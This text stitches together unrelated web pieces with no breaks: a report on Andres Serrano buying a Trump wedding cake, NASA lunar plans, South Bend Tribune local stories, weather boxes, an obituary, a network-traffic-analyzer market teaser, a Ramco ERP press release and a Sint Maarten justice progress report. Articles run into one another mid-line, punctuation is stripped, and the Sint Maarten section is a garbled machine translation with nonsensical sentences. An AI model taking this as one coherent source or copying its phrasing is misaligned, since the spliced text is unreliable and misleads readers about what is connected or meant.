And now Andres Serrano, best known as the "piss-artist photographer," has one - a chocolate truffle cake with gold flakes and a sugar-spun buttercream rose, handed out as a souvenir at Trump's January 2005 wedding to Melania Knauss.

The lavish ceremony at Trump's Mar-a-Lago Club in Palm Beach, Florida, stands as a high-water mark of his acceptance in a glittering world of models and media personalities - a world in which he is now persona non grata. But he remains its obsession. He is its muse, its model and the source of so many of its jokes. Were the guests not sated by the cake? Serrano may be seeking to discover why not.

The 14-year-old baked good could make for a mouth-watering addition to an oeuvre that includes the divisive 1987 work "Immersion (Piss Christ)," which earned the photographer his epithet. The red-and-amber-hued image of a crucifix submerged in a glass container of his own urine drew rebuke on the Senate floor. It spurred a court battle over blasphemy in Australia. It has been vandalized, and has led to death threats for museum employees who dare to display it.

Serrano, 68, purchased Trump's cake for $1,880 at an auction last week in Boston. It measures 3.25 inches in diameter and rises 3 inches tall.

The dessert sits in its original off-white paper box, monogrammed "M D T" in gilt, according to RR Auction, which set the minimum bid at $200. The souvenir last changed hands in 2017, when the California-based Julien's Auctions collected $2,240 for the item.

"The box is in very good condition, with scattered stains," the listing noted.

The miniature cakes were edible stand-ins for a $50,000 confectionery feat requiring elaborate wire supports that made it impossible to serve to guests. Buttercream filled the seven-tier, 200-pound sponge cake, flavored with orange zest and soaked in Grand Marnier liqueur. It was festooned with 2,000 sugar-spun flowers.

It doesn't appear that Serrano, the only child of an immigrant father from Honduras and a mother of Afro-Cuban descent, was on the guest list for the wedding.

But the native New Yorker does have a relationship with the president. He photographed him in the early 2000s, as part of a series titled "America."

His portrait of Trump, which he slotted in the celebrity section of the series, is an imposing close-up of the businessman and reality television star in a red-striped tie. The venerable portrayal represents a departure from themes of desecration and violence, which have defined the work of the artist, who is Catholic and has described his art as an attempt to "personalize religion for myself." His examination of "Torture" asked subjects who had been abused in real life to pose for the reproduction of their suffering.

When he trained his camera on Trump, however, his impulse was patriotic.

"I took Donald Trump's portrait for my America series, started shortly after September 11th," the bugbear of conservative politicians and religious groups told Vice. "I felt we had been attacked as the 'enemy' and I wanted to show who America is."

In 2016, the photographer declined to join Guardian art critic Jonathan Jones in disparaging the then-candidate for the GOP nomination. "I never speak ill of people who've posed for me," Serrano said. The British critic wrote that the photographer "can even see the human in Trump. His portrait is like a waxwork image of a powerful man, glaring enigmatically at the camera."

Serrano is staying mum about his plans for the 14-year-old cake.

"Artists work in mysterious ways," he told the Art newspaper. "You never know what they're up to! I don't like to talk about things until I'm ready to talk."This is an artist's concept of a human landing system and its crew on the lunar surface.

NASA is officially looking for ideas from private companies to develop future lunar technologies, with responses due by the end of next month.

In addition, the agency published its methodology for bringing crewed missions back to the lunar surface.

The moon has had a big 2019 so far: China's Chang'e-4 lander mission achieved the first soft landing on the far side of the moon at the start of January. Then, millions of people across North and South America enjoyed a mesmerizing lunar eclipse, dubbed the Super Blood Wolf Moon , on Jan. 21. This year, NASA is also commemorating a major lunar milestone: The agency will celebrate the 50th anniversary of the iconic Apollo 11 mission that brought astronauts Neil Armstrong, Buzz Aldrin and Michael Collins to the moon to take that incredible "giant leap for mankind." (Collins remained in lunar orbit.) [ Watch a Meteor Smack the Blood Moon in This Lunar Eclipse Video! ]

In a statement published Feb. 7 , NASA laid out how it will work with U.S. companies to develop reusable systems through which astronauts could return to the moon by 2028.

Using current and anticipated technologies, NASA will work to complete the mandate laid out by the presidential administration's Space Policy Directive 1 "as quickly as possible," agency officials said.

The partnerships would be multiphased and perhaps include collaboration with other nations to "advance our missions to farther destinations, such as Mars, with America leading the way," NASA Administrator Jim Bridenstine, said in the statement.

Technology already operating within low-Earth orbit will serve as a springboard for the development of the reusable lunar systems, Bridenstine said.

One important element in NASA's approach is the establishment of a gateway that could support round-trip lunar journeys. This would allow "the first building blocks for fully reusable lunar landers  to be refueled by cargo ships carrying fuel from Earth to the Gateway," agency officials said.

But that would be just the start. Going forward, the fuel might come from the moon itself. Part of the project is to find methods of making rocket propellant with water ice and regolith (lunar dust) from the moon in a process known as in-situ resource utilization (ISRU).A man said a large, black cat pulled him to ground on Feb. 12 in the Pleasant Hill area. Experts say wild cougars are extinct in the Carolinas. Officials later said the attack did not happen.The ad hoc Financial Planning Committee for the Town of Pawleys Island met Feb. 6 in the conference room of the new Town Hall. The meeting was to explore ideas and ways to help meet operating costs for the town and build up funds for future beach renourishment.Georgetown, SC (29440)

Today

Mostly sunny. High 81F. Winds ENE at 5 to 10 mph..

Tonight

Partly cloudy this evening with more clouds for overnight. A stray shower or thunderstorm is possible. Low 66F. Winds NE at 5 to 10 mph.Litchfield (06759)

Today

Sunny. High near 75F. Winds SSE at 10 to 15 mph..

Tonight

Clear this evening then becoming cloudy after midnight. Low 52F. Winds E at 5 to 10 mph.SPEAK OUT

The Tribune invites readers to express their views in the Voice of the People column and in Viewpoint.

Letters to the Voice of the People are limited to 200 words. Viewpoint columns should be no more than 700 words.

Both Viewpoint and Voice of the People submissions are subject to editing. All submissions must include the writer's full name, which will be printed.

Letters, including e-mail, which do not include the writer's street address and telephone number will not be considered for publication. This information is kept confidential but is necessary for verification purposes.

Letters may be mailed to the Editorial Department, South Bend Tribune, 635 S. Lafayette Blvd., Suite 138, South Bend IN 46601; emailed to vop@sbtinfo.com, faxed to 574-236-1765, or submitted through our online form here.

Due to volume, it is not possible to print all submissions. Except in special circumstances, we do not print poetry or thank-you letters. We do not print letters announcing events to come, extensive quotations from other material, open letters or form letters.South Bend Tribune Report

South Bend Tribune

SOUTH BEND  The University of Notre Dame is heading up a $33.7 million effort to determine the ability of a spacial repellent to prevent mosquito-borne diseases.

Spatial repellents release volatile chemicals into the air to inhibit certain insect behaviors such as feeding and encourage movement away from a treated space. John Grieco, an associate professor of biology and associate director of the Eck Institute for Global Health, and his team will evaluate the ability and cost effectiveness of such repellents in reducing and protecting against new infections of malaria and dengue.

Unitaid, which is an international organization that invests in new ways to prevent, diagnose and treat various diseases, will pay for the five-year program. Notre Dame says the research grant is the largest it has ever been awarded for a single proposal.

This grant will enable research with the potential to transform the lives of millions of people around the world who suffer from mosquito-borne disease, Robert J. Bernhard, Notre Dames vice president of research, said in a release. Were grateful for the confidence Unitaid has shown in the University of Notre Dame to lead this program.

The program will include clinical trials in Kenya and Sri Lanka, as well as studies among displaced populations in Mali and in refugee settings in Uganda. Ultimately, findings will be reported to the World Health Organization.

According to the WHO, there were an estimated 219 million new cases of malaria and 435,000 deaths in 2017, and it estimates dengue affects more than 3.97 billion people across 128 countries.

Current interventions such as insecticidal nets and indoor and outdoor spraying of chemicals have helped to reduce transmissions in some cases, but not in all, Grieco said in a release. We need new products to support ongoing mosquito control efforts with our ultimate goal being elimination of these diseases.

Unitaids work is paid for by the Global Fund, the United States Presidents Emergency Plan for AIDS Relief and by governments. Notre Dame will lead management, oversight and administration of the program. Griecos team consists of Notre Dame researchers Nicole Achee, Alex Perkins, Sean Moore, Fang Liu, Neil Lobo and Jarek Nabrzyski.Mary Beth Spalding

South Bend Tribune

NILES  By early next year, at least one retail shop selling recreational marijuana likely could be open here, but probably not downtown.

Actually, it could be more than one shop, and maybe they could open sometime yet this year.

Maybe sometime in the future, too, there could be an outdoor festival where the city could permit the use of marijuana.

But a lot would take place before any of that can happen, including the City Council voting to opt into allowing recreational marijuana businesses and adopting zoning rules, which the city planning commission began to tackle Tuesday.

It was a special working session for the group that ran a couple of hours.

In the end, members agreed to recommend the City Council does opt to allow for recreational pot businesses, and that rules for the establishments in general follow rules put in place for medical marijuana businesses.

That would mean not allowing any recreational marijuana businesses downtown.

The businesses would be allowed in and near the industrial park. Also, potential retail shops could locate along the 11th Street commercial corridor.

Microbusinesses, a special business license category under the new adult-use law, would be restricted to the industrial park, although theres some question that they can be limited to one area.

There were also many questions about whether the same sorts of safety rules put in place for medical marijuana businesses can be applied to recreational.

There are a lot of unknowns, City Administrator Ric Huff said.

The numbers of recreational marijuana businesses would remain the same as numbers set under the medical cannabis business rules.

For instance, the city is allowing up to four medical marijuana provisioning centers, so there would only be up to four shops total for any sales, whether medical, recreational or microbusiness under the planning commissions proposed recommendations, Sanya Vitale, community development director, said.

The planning commission also plans to propose that the City Council OK zoning Riverfront Central Park  roughly between Bond Street to the south and the Broadway bridge to the north  as an area where festivals that include the consumption of marijuana could be allowed, if given council approval.

The planning commission will meet again later in the month to formally adopt the recreational marijuana business zoning recommendations. The proposal then could go to the City Council for consideration at its first meeting in March.Emily Lawler, MLive.com, Walker, Mich. (TNS)

South Bend Tribune

LANSING, MI  Gov. Gretchen Whitmer brought her campaign promise to fix the damn roads to life in her first State of the State address Tuesday, highlighting the states infrastructure and education as two crises the state needs to address.

Whitmer spoke frequently about the poor state of Michigans roads constantly on the campaign trail, and painted a dire picture in her speech Tuesday. She asked listeners to picture the buses of school kids and families driving over scary stretches.

Right now we have crumbling bridges that have hundreds of temporary supports holding them up, Whitmer told the audience, which included state lawmakers and dignitaries.

The audience also included Michigan Supreme Court Chief Justice Bridget McCormack, Attorney General Dana Nessel and Secretary of State Jocelyn Benson  a group Whitmer pointed out comprised a historic first, as all those offices were held by women.

In addressing the roads, Whitmer pointed to a report from the American Society of Civil Engineers giving Michigans infrastructure a D-plus and the roads specifically a D-minus.

While she didnt get into funding specifics, she did say her upcoming budget proposal would include a real solution for fixing Michigans roads and infrastructure. The recent attempts arent working, she said, and its hurting Michigans ability to attract businesses.

No one will invest in a state that doesnt invest in itself. Thats the hard truth. And lets be very clear: incremental fund-shifts, like weve seen in recent years, they just wont fix the problem, Whitmer said.

She urged Michigan residents and businesses to share their experiences with Michigans infrastructure on social media with the hashtag #FTDR.

I think you know what that stands for, she said, a nod to her campaign slogan of Fix the Damn Roads.

But the roads werent the only thing she identified as a crisis in the speech. She also pinpointed the states education and skills education as a crisis that needed solving.

She highlighted Michigans poor performance on third-grade literacy and Michigans decline in child literacy among all age groups. The problem wasnt the kids or the teachers, she said, but a generational failure of leadership.

She spoke directly to Michigan educators.

Youre not failing us. We have been failing you," she said.

She cited low growth in K-12 education funding in Michigan and the use of the School Aid Fund to pay for things outside of K-12 education.

On the subject of job skills, she announced a plan to both reconnect Michiganders with new skill sets companies need and establish the MI Opportunity scholarship. The scholarship will fund a two-year community college degree or help reduce costs of a four-year degree by providing two years of financial assistance qualified Michigan students.

It will be launched in the Spring and go into effect in 2020, Whitmer said, and making Michigan the first state in the Midwest to offer debt-free community college.

Every one of us needs skills to get into a good job, Whitmer said.

In her speech, Whitmer also touched on:

 Extending the Freedom of Information Act to cover the legislature and governors office.

 Extending discrimination protections to LGBTQ Michiganders

 The issue of PFAS contaminants, which she called urgent

 Her intention to keep with a tradition started by Gov. Rick Snyder and get the state budget passed before the legislature leaves for the summer

 A call to pass a hands-free driving law in MichiganTed Booker

South Bend Tribune

SOUTH BEND  Katie Madonna Lee was proud to be among three co-authors who published an academic article in fall 2015 to spotlight a historical collection for the LGBTQ community.

After all, she spent years putting together the collection for Indiana University South Bend's Civil Rights Heritage Center.

Lee, a graduate student working on a master of music degree at IU South Bend, says she played a key role by conducting and recording about 20 interviews for the collection.

Others also helped by donating materials for the collection, which is open to the public for research; it provides a window into challenges overcome by the LGBTQ community over the past half century in the South Bend area.

The article, however, is now at the center of an authorship lawsuit filed in St. Joseph Circuit Court last year by Lee against the other co-authors, Alison Stankrauff and Catherine Page-Vanore.

Although Lee was credited as the first co-author when the article was first published, the civil lawsuit was filed because she wasnt credited when the article was republished in 2017 as part of a book titled The Role of Agency and Memory in Historical Understanding: Revolution, Reform, and Rebellion. The only co-authors listed in that instance are Stankrauff and Page-Vanore, who are former IU South Bend employees.

South Bend attorney John Conway, who is representing Stankrauff and Page-Vanore, said the article in the book is different than the one that was first published, which is why Lee isnt listed as a co-author.

Ms. Lee was given the opportunity to work on this project and she elected not to, he said.

A comparison of the two articles, however, shows not many changes were made to the one in the book. The majority of the article is identical.

Page-Vanore, who works for The History Museum in South Bend, referred questions to Conway. And Stankrauff, an archivist at Wayne State University since fall 2017, didnt return calls.

The article, titled Partnership in the Preservation of Rustbelt Queer History, was first published online in November 2015 by the Archive Journal.

Later that fall, the three co-authors presented the article at the Great Lakes History Conference at Grand Valley State University. And in spring 2016, they presented it at the College Art Associations annual conference in Washington, D.C.

But after that conference, Lee said she cut ties with Stankrauff, who was then the archivist and associate librarian at IU South Bend.

She said Stankrauff decided certain historical collections contributed by Lee to the Civil Rights Heritage Center should no longer be housed there.

In an email, Stankrauff told Lee those collections, which werent related to the LGBTQ collection, dont fit the mission of the center.

Lee said she felt wronged by that decision, and she stopped volunteering for projects at the center. In an email, she told Stankrauff she was very upset about how my work and MY TIME have been treated.

Lee said that before she cut ties with Stankrauff, the co-authors had preliminary discussions about writing an article for the book, an anthology based on the Great Lakes History Conference.

But Lee, because of the rift with Stankrauff, said she decided to not be part of that project. She thought Stankrauff and Page-Vanore would be writing a completely different article; as a result, she was taken off guard when the article in the book was nearly the same as the original one.

Lee, who said she supplied most the material for the article, said Stankrauff and Page-Vanore should be held accountable for excluding her as a co-author. She said they used the article as career capital and wants them to publicly apologize. The lawsuit, meanwhile, is seeking full compensation for injuries Lee sustained.

Lee said it is ironic she was excluded as a co-author from an article about civil rights and justice.

You take the person who did most of the work and exclude them from it, and youre talking about being inclusive? she said. That is a glaring problem. ... I dont want this to happen to anybody, and I also want this to be addressed in the archive and museum community.

Jonathan Bailey, a New Orleans-based plagiarism consultant who runs the firm CopyByte, said the action appears to fall under the giant plagiarism umbrella.

A case like this where someone was on an original paper and then, when they rejiggered it a little bit, is removed ... that is extremely unusual and fairly egregious, Bailey said. Its essentially the other co-authors taking credit for the whole thing when theyre only two-thirds responsible.

Its up to universities to decide how to handle such situations, Bailey added.

Weve seen universities terminate employees over these types of situations before, he said, and weve seen universities largely ignoring it.

Vicki Bloom, the dean of library services at IU South Bend who supervised Stankrauff while she was employed there, wouldnt comment on the matter. She referred The Tribune to campus spokesman Ken Baierl, who said we do not comment on pending litigation.

And Randy Ray, executive director of The History Museum, said the lawsuit wont jeopardize Page-Vanores employment there.

If she was working on that publication, she was doing that on her own time, Ray said. Shes a great employee from every perspective, and I have no concerns about this.Caleb Bauer South Bend Tribune

South Bend Tribune

SOUTH BEND  At the 2019 South Bend Regional Chamber Salute to Business on Tuesday, Indiana Gov. Eric Holcomb laid out a few of his priorities for the General Assemblys ongoing legislative session, coinciding his remarks with the release of his new seven-person teacher compensation commission.

The commission, previously mentioned in Holcombs State of the State address, will study ways to permanently solve the issue of teacher pay that lags behind neighboring states.

For Holcomb, the issue is part of the overall agenda of developing a workforce knowledgeable in skills of the future, position the state to attract new business and become a more attractive place for people to relocate to.

We have to do more to increase teacher pay throughout the state of Indiana for public schools, Holcomb said. The linchpin to a great workforce is a great education from great teachers.

Holcombs budget recommendations call for 2 percent raises for teachers annually this year and next year, and plans to use state funds to pay off $140 million in pension liabilities that would free up school system money to go toward raises. So far, the legislature has been debating a bill put forward by Rep. Dale DeVon, R-Granger, which would implement targets encouraging school districts to transfer no more than 15 percent of annual state funding into operational expenses.

That bill faces opposition from critics who say it asks for districts to pay for the raises from already-tight operating budgets, instead of the state providing additional money for districts.

But Holcomb said the purpose of his new education commission is to find a solution for the future  a solution that will end the repeating cycle of teacher pay debates in the state legislature and find a long-term funding model for raises that could be implemented in the 2021 budget cycle.

The new commission is made up of four business executives, two nonprofit executives and a higher education administrator. An additional six-person advisory council also has been formed to assist the commission.

Holcomb said that at this point he isnt ruling out a potential tax increase to solve the issue in the long term.

Im going to be in the exact same position on this one as I was on infrastructure, Holcomb said. I dont want to rule anything out or take anything off the table, especially before the first meeting has occurred.

Holcomb also highlighted his ongoing push for the legislature to pass a bill exempting military pensions from state income taxes, something he said will help attract exactly the type of talent we want here.Roy Chapman, 73, of Nancy, passed away Tuesday, June 22, 2021 at his residence. Arrangements are pending and will be announced later by Morris & Hislope Funeral Home. Condolences may be expressed to the family at: www.morrisandhislope.comNetwork Traffic Analyzer Market Segmentation, Market Players, Trends 2023

Market HighlightsThe global network traffic analyzer market is highly competitive. Various established international brands, domestic brands and as well as new entrants form a competitive landscape. The key players are nonstop increasingly seeking market expansion through various strategic mergers and acquisitions, innovation, increasing investments in research and development and cost-effective product portfolio. The network traffic analyzer market is highly competitive due to the presence of several large vendors. The competition among the vendors will intensify due to the increase in product extensions and various above mentioned factors. The players in the network traffic analyzer market compete on the basis of the factors such as analysis techniques, solution and services, deployment type, organization size, and end-users. The vendors or the manufacturers are continuously coming up with new ideas and technologies to gain competitive advantage over their competitors.

Request Sample Report @ https://www.marketresearchfuture.com/sample_request/4596

Major Key Players

The key players in the global network traffic analyzer market include Cisco Systems (U.S.), SolarWinds (U.S.), NETSCOUT SYSTEMS (U.S.), CA Technologies (U.S.), Ipswitch (U.S.), ManageEngine (U.S.), Plixer (U.S.), Colasoft (China), HPE (U.S.), Nokia (Finland), Kentik (U.S.) and Genie Networks (Taiwan) among others.

Regional Analysis

The global network traffic analyzer market is expected to grow significantly over the forecast period, 2018-2023. Network traffic analyzer segment market globally drives the market majorly due to growing industries like telecommunication and IT. Due to technological advancement, the demand of network traffic analyzers is increasing from small scale as well as large scale business operators.

Due to automation (IoT) in healthcare, retail, education industry and increases the demand of network traffic analyzer market at fast pace. The global Network Traffic Analyzer Market segmented into four main regions such as North America, Asia-Pacific, Europe and Rest of the World. These regions are further bifurcated into various countries including U.S., Canada, Mexico, UK, France, Germany, China, Japan and India.

North America region hold the largest market share (in terms of revenue) of the total network traffic analyzer market. It is due to the presence of high technology adoption, number of data centers and adoption of cloud technology in the region. U.S., Canada and Mexico are the countries mainly contributing in the North America network traffic analyzer market. Growing cloud computing and web hosting services in the region mainly drive the market. Cisco Systems, SolarWinds, NETSCOUT SYSTEMS, CA Technologies, Ipswitch, ManageEngine, Plixer, Kentik, HPE are some of the leading industry participants located in U.S. due to which North America dominated the network traffic analyzer market.

Asia-Pacific region is expected to grow at fast speed over the forecast period due to the emerging IT industry in countries like India and Japan. The rapid industrialization in Asia Pacific, particularly in China and India helps to grow the network traffic analyzer market in Asia Pacific. Increasing adoption of cloud in Internet of Things (IoT) services and shifting focus over industrial IoT is rising market in Asia Pacific in forecast period.

Access Report Description @ https://www.marketresearchfuture.com/reports/network-traffic-analyzer-market-4596

LIST OF TABLES

TABLE 1 NETWORK TRAFFIC ANALYZER MARKET, BY ANALYSIS TECHNIQUES

TABLE 2 NETWORK TRAFFIC ANALYZER MARKET, BY SOLUTION AND SERVICES

TABLE 3 NETWORK TRAFFIC ANALYZER MARKET, BY DEPLOYMENT TYPE

TABLE 4 NETWORK TRAFFIC ANALYZER MARKET, BY ORGANIZATION SIZE

TABLE 5 NETWORK TRAFFIC ANALYZER MARKET, BY END-USER

Continued??.

LIST OF FIGURES

FIGURE 1 RESEARCH METHODOLOGY

FIGURE 2 NETWORK TRAFFIC ANALYZER MARKET, BY ANALYSIS TECHNIQUES (%)

FIGURE 3 NETWORK TRAFFIC ANALYZER MARKET, BY SOLUTION AND SERVICES (%)

FIGURE 4 NETWORK TRAFFIC ANALYZER MARKET, BY DEPLOYMENT TYPE (%)

FIGURE 5 NETWORK TRAFFIC ANALYZER MARKET, BY ORGANIZATION SIZE (%)

Continued??..

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Email: sales@marketresearchfuture.comPort of Tanjung Pelepas Continues Digital Strategy Effort with Implementation of Latest Enterprise Resource Planning (ERP) System from Ramco Systems

Chennai, India, Feb 13, 2019  (ACN Newswire)  Pelabuhan Tanjung Pelepas Sdn Bhd (PTP), a member of MMC Group has sealed an agreement with Ramco Systems (Ramco) to upgrade the port\-\-s current Enterprise Resource Planning system (ERP) system.

The upgrade is part of PTP\-\-s continuous efforts in empowering its digital strategy and enhancing its operational efficiency. In addition, it is also to supplement the port\-\-s growing customer demand and requirement of the industry.

Marco Neelsen, Chief Executive Officer of PTP in his statement remarked that the latest digital roadmap is testament to PTP\-\-s commitment in providing best in class service for our customers.

\Given the pace at which technological advancements are changing the world, it is imperative for PTP to remain competitive and attractive. By investing in the latest technology, we are establishing our terminal as one of the best equipped and most technologically advanced terminal port in the region\.

\We also wanted to choose a digital solution partner with tools that can aid us in our growth as well as give us the right platform to integrate to advanced technologies. With the product and service that Ramco provides us, we believe it will benefit us well\.

Virender Aggarwal, CEO of Ramco Systems stated \as one of the leading trusted ERP software providers, our main objective is to enable the end-to-end digital transformation for our client organisations. PTP, being one of the world\-\-s premier and biggest transhipment ports will expand our expertise while we continue supporting their vision with our technologies and innovations.\

\Ramco\-\-s ability to offer a single integrated suite covering ERP, Finance, HR, and Asset Management all on the same platform coupled with capability to bring latest technology features such as Artificial Intelligence, Chatbots, Mobility and much more has been the key differentiator driving large conglomerates to embark on a digital transformation program,\ added Aggarwal.

Under the agreement, Ramco will implement its comprehensive ERP suite comprising Procurement, Inventory, Finance, Maintenance, Human Capital Management, Treasury, Loan Management, as well as Planning & Budgeting.

Ramco ERP has been delivering significant innovation, cost savings, and superior business processes to global organisations. Ramco\-\-s focus on usability, context-awareness, mobility, overall flexibility and comprehensive functionality has enabled smooth technological transitions for customers.

About Port of Tanjung Pelepas

The Port of Tanjung Pelepas (PTP) is Malaysia\-\-s largest container terminal. The port delivers reliable, efficient and advanced services to major shipping lines and box operators, providing shippers in Malaysia and abroad extensive connectivity to the global market.

PTP is grouped under MMC Port Holdings Sdn Bhd (MMC Ports), Malaysia\-\-s largest integrated logistics service provider. MMC Ports is a wholly-owned subsidiary of MMC Corporation Berhad, a leading utilities and infrastructure group with long standing credential and capabilities in ports & logistics, energy & utilities and engineering.

Its terminal operations are backed up by state-of-the-art facilities, equipment and information technology systems linked to all port users. To date, the Port is operating with 14 berths totalling 5.04 km in linear wharf design. The port\-\-s container yard is one of the largest container storage facilities in the region with the capacity to handle up to 10.5 million TEU annually.

PTP was accorded Free Zone status in March 1998 and was also appointed as a Free Zone Authority by the Government on 16 June 1999 to administer both the Commercial Free Zone and the Industrial Free Zone. PTP Free Zone provides various advantages to cargo importers and exporters and the direct connection to the port terminal also provides efficient and cost effective container movement between the Free Zone and the port, creating convenience for the container trade.

PTP is also a joint venture between MMC Corporation Berhad (70%), a utilities and infrastructure group and APM Terminals (30%), a leading global ports group with a global port network in 62 countries. For more information, please visit http://www.ptp.com.my/

About MMC Corporation Berhad

MMC Corporation Berhad (MMC) is a leading utilities and infrastructure group with diversified businesses under three divisions, namely Ports and Logistics, Energy and Utilities and Engineering.

Its key businesses under the Ports and Logistics division include the operations of Pelabuhan Tanjung Pelepas Sdn Bhd, Johor Port Berhad, Northport (Malaysia) Bhd, Penang Port Sdn Bhd, Tanjung Bruas Port Sdn Bhd, JP Logistics Sdn Bhd and Kontena Nasional Berhad. Internationally, MMC has presence in Saudi Arabia via Red Sea Gateway Terminal Company Limited, a container port terminal within the Jeddah Islamic Port.

Under the Energy and Utilities division, MMC is the single largest shareholder of both Malakoff Corporation Berhad and Gas Malaysia Berhad.

MMC\-\-s Engineering division has continued to stamp its presence in its sector with a leading role as the Project Delivery Partner (PDP) and underground works package contractor for the 51 km Klang Valley Mass Rapid Transit (KVMRT) Sungai Buloh-Kajang project (SBK Line) and Sungai Buloh-Serdang-Putrajaya project (SSP Line). Prior to this, MMC has successfully completed the 329 km Ipoh-Padang Besar Electrified Double Tracking Project as well as the innovative Stormwater Management and Road Tunnel (SMART) motorway, the first of-its-kind, dual-purpose tunnel in the world.

MMC continues to make inroads in the industry, securing key civil and infrastructure projects in the country namely Langat Centralised Sewerage Treatment Plant, Langat 2 Water Treatment Plant and Refinery and Petrochemical Integrated Development (RAPID) Pengerang Cogeneration Plant. MMC also has a 20% effective interest in Borneo Highway PDP Sdn Bhd (BHP), the appointed project delivery partner for the Pan Borneo Highway Project in Sabah.

In other businesses, MMC wholly-owns Aliran Ihsan Resources Berhad, a company which specializes in the full spectrum of water treatment and Senai Airport Terminal Services Sdn Bhd, the operator of Senai International Airport in Johor Bahru  a major aviation hub and the main air transportation gateway to Iskandar Malaysia. The Group Property arm of MMC manages close to 6,000 acres of industrial developments in Iskandar Malaysia, Johor and Kulim, Kedah, namely Senai Airport City, Tanjung Bin Petrochemical & Maritime Industrial Centre (TBPMIC) and Northern Technocity (NTC). The Senai Airport City, TBPMIC and NTC developments come under the ambit of the Group Property\-\-s three operating companies  Senai Airport City Sdn Bhd, Seaport Worldwide Sdn Bhd and Northern Technocity Sdn Bhd respectively.

Enquiries

Please log on to www.mmc.com.my or call:

Azrini Reezan Abd. Latiff

Head of Corporate Affairs

Port of Tanjung Pelepas

Tel: +6019 791 4669 / +607 504 2222 (extension 8602)

Email: azrini@ptp.com.my

Azlina Ashar

Head of Group Corporate Communications

MMC Corporation Berhad

Tel: +6019 6688 990 / +603 2071 1124, Fax: +603 2026 2431

Email: azlina.ashar@mmc.com.my

About Ramco Systems:

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With 1700+ employees spread across 24 offices, globally, Ramco follows a flat and open culture where employees are encouraged to share knowledge and grow. No Hierarchies, Cabin-less Offices, Respect work and not titles, among others are what makes the team say, Thank God it\-\-s Monday!

 Winner of the HR Vendors of the Year 2018 Awards for Best Payroll Software;

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 Winner \-\-Payroll Innovation Award\-\- for 2018 by Global Payroll Association;

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For more information, please visit http://www.ramco.com/payroll

Follow Ramco on Twitter @ramcosystems / @ramcohcm and stay tuned to http://blogs.ramco.com

For further information, contact:

Vinitha Ramani

+91 44 6653 4204

vinitharamani@ramco.comBelow is the translation and Dutch Version of the Report submitted by the Progress Committee/ Justice.

Attachments:

- Concept Performance Reporting KPSM, October 23, 2018;

- Concept Performance Reporting Point Blanche, October 26, 2018.



1. General

Progress committee of Sint Maarten hereby presents the thirty progress report on the implementation of the action plans of St. Martin in the third quarter of 2018. The working visit of the committee took place on

28 October and 2 November 2018. The next restock will take place in the week of January 28, 2019.

Extension cooperation arrangement and situation.

Per 10-10-2018 has been extended to the Samenwerkingsregeling ensuring Plans, for the fourth time, namely until 10-10-2020. The situation at the start of the new extension period can be summarized as follows. The action plans from 2010 for police and prison are not yet realized remotely. On the Dutch side, we see the beginnings of a helping hand (assistance to police in 2020 and detention of agreements) after Irma. On administrative side of St. Maarten is still little or no movement. With advice from the progress committee doing nothing and mandatory advising the country's minister even beaten when replacing the PoA for the prison. Meanwhile, the law enforcement of Sint Maarten cannot be described only as absolutely insufficient.

It is in this context that the visit took place. Progress committee met during this visit again no reason to assume that this extension period, the plan of action, even approximately, will be completed.

The state of the police and prison is described in more detail later in this report. For this general part is sufficient to commission the following.

Law enforcement.

The management is doing what it can, it makes do with limited belts it has. However, staffing is not half of what is minimally necessary. There is completely inadequate indication that the occupancy will increase

in the years to the desired level. The book feature, the base of every organization, has still not been established. The situation in buildings and equipment is very inadequate. That was the case for Irma and became worse.

Prison.

Meets years, not to safety and quality standards. The agreements to accommodate the prison are not expected to fulfill in time for return of prisoners from other countries. After the return of the captives again create the explosive, dangerous situation, as described already in the committee in 2017 reports state. Which is unsafe for staff, prisoners themselves and the community.

The situation is so serious that was called the Kingdom's security multiplexed in a recent opinion from the Council of the Law for the detention. The progress committee believes that the law, in particular, the functioning of the Ministry of Justice, the low strength of the police and the weak detention function in St. Maarten is so inadequate that runs the security of the inhabitant's danger. Therefore, the committee recommends urgently and again, to come to a mutual agreement Safety Sint Maarten, a partnership arrangement or management agreement aimed at

the proper functioning of the Ministry of Justice and the chain of law enforcement. This goes well beyond the agreements made by the MO on October 19 about the detention. It requires to St. Maarten side a major priority change and a major financial and administrative input. It also requires a substantial Dutch contribution of personnel and resources.

Modification Plan prison.

The intercession of the Minister of Justice of SXM, the Ministerial Consultations on October 19, 2018 decided to amend the plan prison system by replacing the plan "a safe society: building a responsible and sustainable sanction implementation on St. Martin." The committee considers this plan using DJI of the Netherlands as an excellent policy. Simultaneously, the Committee notes that the Minister of Justice, contrary to the Samenwerkingsregeling has not heard the commission prison on an amendment to the plan. The committee also notes that the policy does not comply with Article 2 of the Cooperation Regulations, which states inter alia containing an action plan specific, measurable and time-bound results and a timetable so that the policy cannot be seen as a plan of action. And to the extent that there have some of it is in the plan, the commission notes that political and budgetary plans of the country Sint Maarten no substantial measures have been taken to meet these conditions.

This being so, the Commission faces a dilemma. The old plan may no longer be the benchmark for the work of the committee. The new plan contains insufficient assessment criteria that may be the new benchmark for the committee. It is for that reason that the committee has advised the Minister of Justice

to urgently reach a targeted implementation plan that meets the cooperation arrangement. The Minister of

Justice has promised this.

the working visit

This visit was marked by the presentation of the Estates of Sint Maarten on progress in implementing the plan of action of the police and the very worrying situation around the prison Point Blanche. addressed the committee also has the return of prisoners from the Netherlands in November to Sint Maarten. Prominent topics of discussion during this visit were the financial coverage for the implementation of the action plans and the lack of job book for police, prison and investigative country.

Interlocutors

During the visit the committee spoke with the Secretary General of the Ministry of Justice, the police chief and some members of the MT KPSM, the deputy manager of the prison, the Chief Justice, the Constabulary, St. Maarten member of the Council for Law Enforcement and the representative of the Netherlands. The Committee also met with the director of the guardianship council, the head of the country detective, St. Maarten member of the Board of Financial Supervision (CFT) and representatives of the three unions NAPB, ABVO and WICSU.

At the administrative level, the committee spoke with the acting governor, the Prime Minister, the

Minister of Justice and Minister of Finance.

Presentation Estates of Sint Maarten

During the visit in July to Sint Maarten, the Committee to the Chairman of the States brought from St Maarten to give a presentation to the States during the next working visit on the current state of the police and the prison. To this end, a public meeting of the central committee of the States was convened in the afternoon of Wednesday, October 31

2018. At this meeting were present almost all States members. In particular, the Committee brought to the attention that the current influx planning staff shortages at the police many (> 10) will take years. The return of the first detainees from the Netherlands in November 2018 and the agreements on the Netherlands were the prison the most discussed topics. The extremely worrying picture sketched by the commission was for five States members reason to request an emergency debate with the Minister of Justice.

This emergency debate is meanwhile postponed twice for various reasons. At the time of writing this report is not known when the debate will take place.

Financial coverage PoA's

